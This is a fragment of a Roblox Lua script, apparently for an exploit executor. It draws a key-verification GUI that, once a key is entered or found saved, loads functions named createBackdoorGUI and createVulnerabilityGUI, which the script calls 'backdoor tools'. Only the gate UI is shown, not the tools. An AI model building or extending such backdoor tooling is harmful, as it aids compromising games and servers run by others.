    closeButton.Position = UDim2.new(1, -35, 0, 8)
    closeButton.Text = "X"
    closeButton.BackgroundTransparency = 1
    closeButton.TextColor3 = Color3.fromRGB(255, 50, 50)
    closeButton.Font = Enum.Font.GothamBold
    closeButton.TextSize = 18
    closeButton.Parent = mainFrame
    closeButton.MouseButton1Click:Connect(function()
        screenGui:Destroy()
    end)

    local function updateTimer()
        local remaining = getRemainingTime()
        if remaining > 0 then
            timerLabel.Text = "Time remaining: " .. formatTime(remaining)
            timerLabel.TextColor3 = Color3.fromRGB(100, 255, 100)
        else
            timerLabel.Text = "No active key. Enter key to continue."
            timerLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
        end
    end

    local function loadMainTools()
        statusLabel.Text = "Key verified! Loading tools..."
        statusLabel.TextColor3 = Color3.fromRGB(0, 255, 100)
        task.wait(1)
        screenGui:Destroy()
        createBackdoorGUI()
        createVulnerabilityGUI()
        print("Both GUIs loaded successfully!")
    end

    verifyButton.MouseButton1Click:Connect(function()
        local key = keyInput.Text
        if key == "" then
            statusLabel.Text = "Please enter a key"
            return
        end
        if isKeyValid(key) then
            local expiry = os.time() + KEY_VALIDITY_SECONDS
            saveKey(key, expiry)
            loadMainTools()
        else
            statusLabel.Text = "Invalid key! The correct key is: " .. MASTER_KEY
            statusLabel.TextColor3 = Color3.fromRGB(255, 50, 50)
        end
    end)

    showKeyButton.MouseButton1Click:Connect(function()
        if setclipboard then
            setclipboard(MASTER_KEY)
            statusLabel.Text = "Master key copied to clipboard: " .. MASTER_KEY
        else
            statusLabel.Text = "Your key is: " .. MASTER_KEY
        end
        statusLabel.TextColor3 = Color3.fromRGB(0, 200, 255)
    end)

    local autoSuccess, savedKey = loadSavedKey()
    if autoSuccess and savedKey then
        statusLabel.Text = "Found saved key! Auto-verifying..."
        task.spawn(function()
            if isKeyValid(savedKey) then
                statusLabel.Text = "Auto-login successful!"
                statusLabel.TextColor3 = Color3.fromRGB(0, 255, 100)
                updateTimer()
                task.wait(1)
                screenGui:Destroy()
                createBackdoorGUI()
                createVulnerabilityGUI()
                print("Auto-login success! Both GUIs loaded.")
            else
                statusLabel.Text = "Saved key invalid. Please enter new key."
            end
        end)
    end

    task.spawn(function()
        while screenGui and screenGui.Parent do
            updateTimer()
            task.wait(1)
        end
    end)
end

-- Start the key system
createKeyGUI()
print("Key system loaded!")
print("MASTER KEY: " .. MASTER_KEY)
print("Enter this key to unlock the backdoor tools")